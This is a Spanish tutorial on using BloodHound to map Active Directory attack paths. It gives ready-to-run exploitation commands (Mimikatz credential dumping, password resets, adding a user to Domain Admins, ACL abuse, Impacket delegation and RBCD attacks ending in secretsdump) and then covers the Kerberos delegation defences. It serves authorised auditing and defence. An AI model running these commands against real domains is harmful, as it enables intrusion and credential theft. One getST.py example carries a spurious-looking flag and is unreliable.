BloodHound auditoría de seguridad que utiliza la teoría de grafos en entornos de Active Directory Azure/Entra ID

 

https://www.onlinetis.com

BloodHound auditoría de seguridad que utiliza la teoría de grafos en entornos de Active Directory Azure/Entra ID

BloodHound es una herramienta de auditoría de seguridad que utiliza la teoría de grafos para revelar las relaciones y rutas de ataque ocultas en entornos de Active Directory (AD) y Azure/Entra ID. Permite identificar de forma visual cómo un usuario sin privilegios puede escalar permisos hasta convertirse en Administrador del Dominio.

Arquitectura de la herramienta

• Recolector (SharpHound / AzureHound): Script ejecutable en la red objetivo para recopilar sesiones, miembros de grupos y permisos ACLs en archivos JSON.
  
  
• Base de datos (Neo4j): Motor de base de datos orientado a grafos que almacena las relaciones recopiladas.
  
  
• Interfaz gráfica (BloodHound GUI): Aplicación basada en Electron para consultar rutas de ataque y visualizar los grafos.
  
  

Guía rápida de instalación y configuración en Kali Linux

1. Instalar componentes desde repositorios:
   
   
   Bash

   sudo apt update && sudo apt install bloodhound neo4j -y
   

2. Configurar la base de datos Neo4j:
   
   
   Bash

   sudo neo4j console
   

   • Accede a http://localhost:7474 en el navegador.
     
     
   • Credenciales por defecto: usuario neo4j / contraseña neo4j. Cambia la contraseña por una nueva cuando el sistema lo solicite.
     
     
3. Iniciar BloodHound GUI:
   Abre una nueva terminal y ejecuta:
   
   
   Bash

   bloodhound
   

   Introduce bolt://localhost:7687, usuario neo4j y tu nueva contraseña.
   
   

Flujo de trabajo básico

1. Extrae datos del dominio objetivo usando el recolector en PowerShell desde una máquina de la red:
   
   
   PowerShell

   Invoke-BloodHound -CollectionMethod All -ZipFileName datos_ad.zip
   

2. Importa el archivo .zip generado en la interfaz de BloodHound usando la opción Upload Data.
   
   
3. Usa la pestaña Analysis para ejecutar consultas predefinidas como Find Shortest Paths to Domain Admins.

En BloodHound, las relaciones (edges) representan los permisos, sesiones activas o estructuras del dominio que conectan un nodo de origen (usuario, equipo, grupo) con un nodo de destino. Explotar un grafo implica encadenar estas relaciones para trazar el camino más corto hacia objetivos críticos como Domain Admins.

1. Relaciones de Pertenencia y Sesión

• MemberOf
  
  
  • Concepto: Indica que un objeto (usuario, equipo o grupo secundario) es miembro de un grupo de Active Directory.
    
    
  • Impacto: Otorga al nodo origen todos los permisos efectivos del grupo destino (herencia de privilegios).
    
    
  • Explotación: No requiere explotación activa; basta con actuar con la identidad del usuario para heredar las capacidades del grupo.
    
    
• HasSession
  
  
  • Concepto: Un usuario autenticado tiene una sesión activa (o reciente) en una máquina del dominio.
    
    
  • Impacto: Si un Administrador del Dominio tiene una sesión en un equipo al que el atacante tiene acceso local, las credenciales o tokens en memoria son vulnerables.
    
    
  • Explotación: Tras comprometer la máquina destino con privilegios locales (SYSTEM o Administrator), se vuelcan credenciales o LSASS:
    
    
    PowerShell

    # Ejemplo con Mimikatz para volcar credenciales en memoria
    sekurlsa::logonpasswords
    

    O bien mediante Pass-the-Hash / Pass-the-Ticket para suplantar la sesión del usuario.
    
    

2. Relaciones de Control Directo sobre Objetos (ACLs)

• GenericAll
  
  
  • Concepto: Control total (Full Control) sobre el objeto destino.
    
    
  • Impacto: Permite modificar cualquier atributo, restablecer contraseñas o agregar miembros a grupos.
    
    
  • Explotación:
    
    
    • Si el destino es un Usuario: Restablecer su contraseña directamente.
      
      
      Bash

      net rpc password "UsuarioObjetivo" "NuevaPass123!" -U "Dominio/UsuarioComprometido" -S IP_DC
      

    • Si el destino es un Grupo: Añadir un usuario bajo control del atacante al grupo objetivo.
      
      
      Bash

      net group "Domain Admins" "UsuarioComprometido" /add /domain
      

• WriteDacl
  
  
  • Concepto: Permiso para modificar la lista de control de acceso discrecional (DACL) del objeto destino.
    
    
  • Impacto: El atacante puede otorgarse a sí mismo el permiso GenericAll sobre el objeto.
    
    
  • Explotación: Se añade el permiso GenericAll al usuario actual usando herramientas de manipulado de ACLs como PowerView:
    
    
    PowerShell

    Add-DomainObjectAcl -TargetIdentity "GrupoOUserObjetivo" -PrincipalIdentity "UsuarioComprometido" -Rights All
    

    Una vez aplicadas las nuevas ACLs, se procede con las técnicas de manipulación explicadas en GenericAll.
    
    

3. Otras Relaciones de Alto Impacto

• AdminTo: El nodo origen tiene derechos de administración local sobre el equipo destino (permite ejecución remota de código via PsExec, WMI o WinRM, y volcado de memoria).
  
  
• GenericWrite: Permite escribir en propiedades no protegidas del objeto (por ejemplo, alterar el atributo servicePrincipalName para ejecutar ataques de Kerberoasting o configurar Targeted Kerberos Delegation).
  
  
• ForceChangePassword: Permite restablecer la contraseña de una cuenta de usuario sin conocer la contraseña actual.

 

La delegación en Active Directory permite que un servicio suplante la identidad de un usuario para autenticarse frente a otros servicios en la red. En BloodHound, las relaciones de delegación reflejan configuraciones donde un atacante, tras comprometer la cuenta de origen (o controlar sus atributos), puede solicitar tickets de Kerberos en nombre de cualquier usuario (incluidos administradores del dominio) hacia los servicios autorizados.

1. AllowedToDelegate (Unconstrained / Constrained Delegation)

Concepto e Impacto

La relación AllowedToDelegate indica que la cuenta de origen (habitualmente una cuenta de servicio o máquina) tiene configurada Delegación Restringida de Kerberos (Kerberos Constrained Delegation - KCD).

Esta configuración utiliza dos extensiones del protocolo Kerberos:

• S4U2Self: Permite que el servicio solicite un ticket de servicio (ST) a nombre de cualquier usuario hacia sí mismo.
  
  
• S4U2Proxy: Permite utilizar ese ticket para solicitar un nuevo ticket de servicio a nombre de ese usuario hacia los servicios listados en su atributo msDS-AllowedToDelegateTo.
  
  

Si comprometes la cuenta de origen (su contraseña, hash NTLM o clave Kerberos/AES), puedes suplantar a cualquier usuario (por ejemplo, Administrator) ante la máquina objetivo especificada en el atributo.

Explotación

Desde Kali Linux (con Impacket)

Si la cuenta comprometida es web-service$ y tiene AllowedToDelegate hacia el SPN cifs/dc01.corp.local:

1. Obtener un Ticket de Servicio suplantando al Administrador:
   
   
   Bash

   getST.py -sdk-guest -spn cifs/dc01.corp.local -impersonate Administrator 'corp.local/web-service$:Password123'
   

   Esto genera un archivo de ticket .ccache (por ejemplo, Administrator.ccache).
   
   
2. Cargar el ticket en la sesión actual:
   
   
   Bash

   export KRB5CCNAME=Administrator.ccache
   

3. Acceder al servicio de destino como Administrador:
   
   
   Bash

   smbclient.py -k -no-pass dc01.corp.local
   # O ejecutar comandos con psexec.py:
   psexec.py -k -no-pass dc01.corp.local
   

2. AllowedToAct (Resource-Based Constrained Delegation - RBCD)

Concepto e Impacto

La relación AllowedToAct representa la Delegación Restringida Basada en Recursos (Resource-Based Constrained Delegation - RBCD). A diferencia de la delegación restringida clásica, en RBCD es el objeto destino (el recurso) el que especifica en su atributo msDS-AllowedToActOnBehalfOfOtherIdentity qué cuentas tienen permiso para delegar autenticaciones hacia él.

En BloodHound, esta relación aparece por dos motivos:

1. Relación directa en el grafo: La cuenta origen ya está explícitamente listada en el atributo del destino.
   
   
2. Abuso de derechos (RBCD Attack): Si el atacante tiene permisos de escritura sobre los atributos del equipo destino (relaciones como GenericAll, GenericWrite, WriteDacl o WriteProperty), puede configurar arbitrariamente una cuenta bajo su control en el atributo msDS-AllowedToActOnBehalfOfOtherIdentity del objetivo para forzar la relación AllowedToAct.
   
   

Explotación

Caso de uso: Explotación completa de RBCD desde Kali Linux

Asumiendo que tienes control sobre la cuenta UserA y permisos de escritura sobre el objeto equipo SERVER01$:

1. Crear una cuenta de equipo bajo tu control en el dominio (usando la cuota ms-DS-MachineAccountQuota habitual de los usuarios):
   
   
   Bash

   addcomputer.py -computer-name 'ATTACKBOT$' -computer-pass 'BotPass123!' 'corp.local/UserA:Password123'
   

2. Escribir la delegación en el atributo del equipo objetivo:
   
   
   Bash

   rbcd.py -delegate-to 'SERVER01$' -delegate-from 'ATTACKBOT$' -action write 'corp.local/UserA:Password123'
   

3. Solicitar el Ticket TGS suplantando a un Administrador mediante S4U:
   
   
   Bash

   getST.py -impersonate Administrator -spn cifs/SERVER01.corp.local 'corp.local/ATTACKBOT$:BotPass123!'
   

4. Usar el ticket para comprometer la máquina objetivo:
   Bash

   export KRB5CCNAME=Administrator.ccache
   secretsdump.py -k -no-pass SERVER01.corp.local
   

Resumen de Diferencias en BloodHound

Característica	AllowedToDelegate	AllowedToAct
Mecanismo	Constrained Delegation (Clásica)	Resource-Based Constrained Delegation (RBCD)
Dónde se define el permiso	En la cuenta de Origen (msDS-AllowedToDelegateTo)	En la cuenta de Destino (msDS-AllowedToAct...)
Prerrequisito de inicio	Comprometer las credenciales del nodo origen.	Comprometer nodo origen O tener permisos de escritura en el destino para inyectar el permiso.
Herramienta principal (Kali)	impacket-getST	impacket-addcomputer + impacket-rbcd + impacket-getST

El atributo "Sensitive and cannot be delegated" y el grupo "Protected Users" son las dos defensas nativas principales de Active Directory para neutralizar los ataques de delegación Kerberos (Unconstrained, Constrained y RBCD).

Ambas funciones actúan impidiendo la generación de tickets delegables, pero aplican sus restricciones en puntos diferentes del flujo de autenticación Kerberos.

1. Atributo: "Sensitive and cannot be delegated" (NOT_DELEGATED)

Este atributo se configura individualmente en las propiedades de una cuenta (en la pestaña Account del dsa.msc) y establece el flag NOT_DELEGATED en su UserAccountControl (UAC).

• Impacto en Kerberos:
  
  
  • Cuando una cuenta señalada como Sensitive solicita un Ticket Granting Ticket (TGT), el Key Distribution Center (KDC) emite el TGT con la bandera FORWARDABLE desactivada.
    
    
  • Al no ser redirigible, los servicios no pueden utilizar las extensiones S4U2Self ni S4U2Proxy para solicitar tickets en nombre de este usuario hacia otros servicios.
    
    
• Efecto sobre los ataques:
  
  
  • Unconstrained Delegation: Si un usuario marcado como Sensitive se autentica contra un servidor con delegación no restringida, su TGT no se almacena en la memoria LSASS de dicho servidor. El atacante no podrá volcarlo ni reutilizarlo.
    
    
  • Constrained Delegation (AllowedToDelegate) y RBCD (AllowedToAct): Si se intenta ejecutar getST.py (Impacket) o Rubeus.exe s4u suplantando (-impersonate) a un usuario marcado como Sensitive, el KDC rechazará la solicitud S4U2Proxy devolviendo el error KDC_ERR_BADOPTION o KDC_ERR_POLICY.
    
    
• Uso recomendado: Debe aplicarse a todas las cuentas con privilegios elevados (Administradores del Dominio, Enterprise Admins, cuentas de servicio críticas).
  
  

2. Grupo Global: "Protected Users"

Introducido en Windows Server 2012 R2, es un grupo de seguridad nativo que aplica directivas de autenticación no modificables y más estrictas a sus miembros.

• Impacto en la Delegación:
  
  
  • Bloqueo implícito de delegación: Todos los miembros del grupo heredan automáticamente el comportamiento de la bandera NOT_DELEGATED. Sus TGTs nunca son reenviables (FORWARDABLE = False).
    
    
  • Endurecimiento de Kerberos:
    
    
    • Deshabilita NTLM, Digest Authentication y CredSSP (solo permite Kerberos).
      
      
    • Deshabilita los cifrados débiles (DES y RC4) forzando AES.
      
      
    • Los TGTs tienen un tiempo de vida máximo fijado en 4 horas (no renovables indefinidamente).
      
      
• Efecto sobre los ataques:
  
  
  • Anula por completo cualquier vector de suplantación mediante S4U2Self / S4U2Proxy (bloquea la explotación de AllowedToDelegate y AllowedToAct).
    
    
  • Evita el robo de TGTs vía Unconstrained Delegation.
    
    
  • Bloquea los ataques de degradación a NTLM (Pass-the-Hash sobre la cuenta del usuario falla si se requiere NTLM).
    
    

Resumen Comparativo de Defensas

Característica	Sensitive and cannot be delegated	Protected Users
Ámbito de aplicación	Cuenta individual (atributo UAC).	Miembros pertenecientes al grupo.
TGT Forwardable	Desactivado.	Desactivado.
Protección vs Unconstrained	Impide volcado de TGT en LSASS remoto.	Impide volcado de TGT en LSASS remoto.
Protección vs S4U2Proxy (KCD/RBCD)	Bloquea la emisión del ST suplantado.	Bloquea la emisión del ST suplantado.
Impacto en NTLM / Cifrado	Ninguno (solo afecta a Kerberos).	Deshabilita NTLM y fuerza cifrado AES.
Restricción de caché	Estándar (10 horas por defecto).	Reducido (TGT expira en 4 horas).

Detección en BloodHound

En la interfaz de BloodHound, estas protecciones alteran las rutas de ataque:

• Si un nodo objetivo tiene el atributo Sensitive activo o pertenece a Protected Users, BloodHound no trazará rutas de explotación de delegación a través de ese usuario específico, marcando el camino como no viable.
  
  
• Puedes verificar si una cuenta tiene activo este control consultando sus propiedades en la pestaña de detalles del nodo (Is Sensitive: True o lista de grupos a los que pertenece).

 https://www.onlinetis.com